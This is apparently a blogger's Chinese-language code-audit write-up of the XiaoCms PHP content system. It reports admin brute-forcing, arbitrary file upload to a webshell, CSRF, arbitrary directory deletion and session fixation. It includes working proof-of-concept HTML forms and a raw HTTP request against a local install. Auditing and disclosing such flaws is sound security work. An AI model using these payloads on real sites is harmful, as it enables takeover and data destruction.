0x00 前言
这段时间就一直在搞代码审计了。针对自己的审计方法做一下总结,记录一下步骤。
审计没他,基础要牢,思路要清晰,姿势要多且正。
下面是自己审计的步骤,正在逐步调整,寻求效率最高。
0x01 关于 XiaoCms
XiaoCms 企业建站版基于 PHP+Mysql 架构 是一款小巧、灵活、简单、易用的轻量级 cms。能满足各种企业站 博客 等中小型站点。(此cms貌似已经停止更新了)
01. 支持自定义内容模型
通过自定义内容模型和自定义字段可以轻松简单的定制出各种内容模型 如新闻模块、产品模块、下载模块、图片模块。
02. 支持自定义会员模型。
通过自定义会员模型可以扩展各种会员模型 如 个人、企业。
03. 支持自定义表单模型。
通过自定义表单模型可以扩展内容评论、 在线留言、 报名、产品订购、等各种提交表单。
04. 支持自定义表。
05. 区块管理功能。
06. 支持手机版。
07. 支持url伪静态 生成静态 动态 三种模式。
08. 支持游客投稿。
09. 支持会员投稿,会员模块单独分离可选不安装。
10. 简单易用的后台操作管理方式,小白也懂得怎么用。
11. 灵活的模板标签语言 让制作模板更容易更省时间。
12. 系统开源二次开发简单。
13. 自定义推荐位。
14. 采用pdo数据库驱动提高安全性。
15. 前后台彻底分离,支持更改后台目录。
16. XiaoCms不仅仅是企业建站cms,更是轻量级的万能建站CMS
(摘自官网)
(从官网简介我们知道数据库使用了pdo预处理)
下载好源码解压,安装好程序。
0x02 初识XiaoCms
目录结构
├─admin //后台
│ ├─controller //控制器
│ ├─img //后台图片
│ └─template //后台模板
├─core //核心模块
│ ├─controller //控制器
│ ├─img //图片
│ │ ├─calendar
│ │ │ └─skins
│ │ │ └─default
│ │ ├─js
│ │ ├─kindeditor
│ │ │ ├─lang
│ │ │ ├─plugins
│ │ │ │ ├─autoheight
│ │ │ │ ├─baidumap
│ │ │ │ ├─clearhtml
│ │ │ │ ├─code
│ │ │ │ ├─filemanager
│ │ │ │ │ └─images
│ │ │ │ ├─flash
│ │ │ │ ├─image
│ │ │ │ │ └─images
│ │ │ │ ├─insertfile
│ │ │ │ ├─lineheight
│ │ │ │ ├─link
│ │ │ │ ├─media
│ │ │ │ ├─multiimage
│ │ │ │ │ └─images
│ │ │ │ ├─pagebreak
│ │ │ │ ├─plainpaste
│ │ │ │ ├─quickformat
│ │ │ │ └─wordpaste
│ │ │ └─themes
│ │ │ ├─common
│ │ │ ├─default
│ │ │ └─simple
│ │ ├─message
│ │ ├─uploadify
│ │ └─watermark
│ └─library //一些辅助库
├─data //存放数据
│ ├─bakup
│ ├─cache
│ ├─config
│ ├─install
│ ├─models
│ ├─tplcache
│ └─upload
│ └─image
└─template
├─default
│ └─images
└─mobile
从目录文件名定义,我们大概可以猜测系统使用的是MVC模式。
借助工具phpstorm,从index.php跟一下程序。了解程序是怎么运行的,做了什么过滤。(也就是当我们第一次访问index.php的执行过程)
跟进xiaocms.php
展开xiaocms类看一下类的具体方法:
不一一细看,主要看一下run函数
run方法的主要作用是解析传来的 controller,action 等参数,随之加载相应的控制器类,调用相应的方法。验证了我们之前的猜测,这个系统确实是MVC模式。
其中在包含控制器的代码中,只是判断文件是否存在,就直接包含了文件。
在php5.3之前是可以用%00截断进行目录穿越,造成任意文件包含的。
但仔细阅读,会发现其实前面parse_request已经进行了过滤,所以此路不通。有一点需要注意的是,当我们没有传入c和a参数时,会默认调用index 控制器下的index方法。
在看完了这个xiaocms.php之后,我们再去看一下,之前加载的几个类。
进入global.function.php,这是一个公共函数库,各种辅助方法。(仔细阅读,就不详解了)
随后就是version.php,只是简单定义一下版本常量而已。
之后是Base.class.php,这是一个基础的类库,很多类都是继承于它。
先看看构造函数,balbla的加载了很多东西,然后就是把该设置的设置,渲染好页面返回给前端。
总结一下:
当我们访问index.php时,系统先去访问index.php ,index.php又包含了xiaocms.php,xiaocms.php又包含了global.functions.php,base.class.php等文件,设置了相应的配置,先是运行了base.class.php的构造函数,实例化了数据库,session等对象,渲染好了基础页面。随之运行run方法,解析传输过来的url,调用对应的控制器和方法。
程序的运行过程是大概了解了,但是不太清楚是否做了过滤?我们访问一下文章,带入点参数。
因为没有传输c和a参数,所以程序默认调用的是index控制器下index方法
找到控制器index.php。
index 方法
传入的是id,在else if下面.跟进get方法
对get输入进行了过滤,转义了双引号和左尖括号,右尖括号。
其中post方法也是一样的。
至此,我们大概了解了整个程序的运行路线,以及输入过滤等。
0x03 黑盒白盒结合审计
先浏览一下网站,看一下前台有什么功能,后台有什么功能。主张以功能点驱动审计。
先看一下前台有什么功能,大概总结一下有四个功能点(页面浏览,留言,评论,搜索)
会产生这些问题
首先看一下页面浏览方面是否会产生sql注入的问题。
因为使用了pdo预编译,注入几率很小,但也不能说绝对,也有pdo照顾不到的地方
(1)参数占位符不能用于指定查询中的表和列的名称。
(2)参数占位符不能用于查询的其他部分,比如ORDER BY子句中的ASC或者DESC关键词等。
搜索一下参数为 id 或者 catid 的输入有没有做整型过滤
几经测试,发现此路不通。
因为做了pdo,且经过了实体化过滤,单引号,双引号,<,>都是没戏的了。
那么前台的几个功能点算是被堵死了。
再来看一下后台
先看登陆
由于用的是session跟cookie没啥关系了,而验证码也是绕不过去。
唯一有点欣慰的是可以绕过锁定15分钟的限制,验证码也比较简单,可以通过第三方库来识别。
可以对后台进行爆破。
登陆进去后台首页
后台功能点繁多就不一一截图了。
既然已经进入后台了,那么我们就可以看看有没有什么方法可以getshell。
1,配置文件??
来到系统配置页面
我们看看config.ini.php正常状况下是怎样子的?
用的是单引号,因为只是过滤了双引号,那么我们是不是可以通过单引号逃出,造成代码执行呢?
测试一下
发现配置文件变成这样子了。
哪里来的单引号?
跟踪代码发现,只有刚开始的过滤,都没有其他过滤啊。
唯一奇怪的可能就只有var_export这个函数了。
看一下手册,发下果然是它搞的鬼。
那么此路不通。
2,文件上传看一下??
找到文件上传相关代码,发现了这么一个方法
其中这行代码设置了upload相关配置
$result = $upload->set_limit_size(**$size)->set_limit_type($type)->upload($_FILES[$fields],XIAOCMS_PATH.$filenpath); //设置上传文件的大小,上传文件的类型,设置上传文件存储的路径
跟进到upload.class.php看一下上传代码。
先是设置上传的限制类型
然后调用upload函数进行上传。
跟进parse_init。判断上传的文件名是否在可上传数组内。而这个可上传后缀名数组是我们可控的。
那么就造成了任意文件上传。
看一下有谁调用了upload方法,发现了两个地方,其中第二个是可控的。
跟进uploadify_uploadAction方法
可以看到没有任何限制。
那么这个请求应该是这样子的。
http://127.0.0.1/xiaocms/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000
post参数 submit,file。
本地构造一个上传页面
页面代码如下:
<html>
<body>
<form action="http://127.0.0.1/xiaocms/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="hidden" name="submit" value="submit"/>
<input type="submit" value="submit" />
</form>
</body>
</html>
上传一个php试一下
成功getshell。
当然这里是我们能够进入后台的前提。
如果我们没有进入后台的话,可以利用csrf,因为这个程序后台的请求都是存在csrf的。
但还有一个问题就是文件名。
那么完全是可以通过csrf来getshell的。(有前台留言和评论功能)
update,在后台数据库恢复处发现了一个任意目录删除漏洞
根据代码我们可以可以知道paths,没有做任何过滤,直接带进去删除。
代码首先判断了path 是否存在 以及$dir.$path是否是一个目录,这里我们可以通过不发送path参数进行绕过。
最终的请求应该是这样子的。
POST /xiaocms/admin/index.php?c=database&a=import HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/xiaocms/admin/index.php?c=database
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=fgcbjs2jerab54cm70on37grh2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29 submit=submit&paths[]=
首先在data目录下新建一个test文件夹作为测试文件夹
发送请求包
查看一下目录
成功删除test文件夹。
update
审另一套cms的时候,想起了p神之前的分享,说到了一个叫会话固定的漏洞。
发现此cms也是存在的。
看代码 \core\library\session.class.php
会话初始时会接受外部参数,设置session_id。
起初我以为必须网站管理员在还没有打开这个网站的时候可以使用,也就是还没有初始化session的时候,实验发现。就算已经是初始化了session,也是通过一个链接,让管理员设置session id 为我们控制的session_id。
想到的一个场景就是,网站管理员在收到留言的时候,点击了我们的链接,然后种下了我们设置的session_id。
我们就可以利用这个session_id直接登陆后台,再通过之前的任意文件上传漏洞,直接getshell。
poc代码:
<html>
<body>
<form action="http://127.0.0.1/xiaocms/" method="post">
<input type="hidden" name="session_id" value="testxiaocms">
<input type="submit" >
</form>
</body>
</html>
0x04 总结
通过这次审计,算是熟练了自己审计的思路和步骤吧。
总的来说这套cms,问题不是很多。现在仅发现了一个后台爆破和后台getshell。
但因为这套cms已经很久没有更新了,且都是后台的问题,并不会有什么影响。
还有很多想写的,待以后再说吧。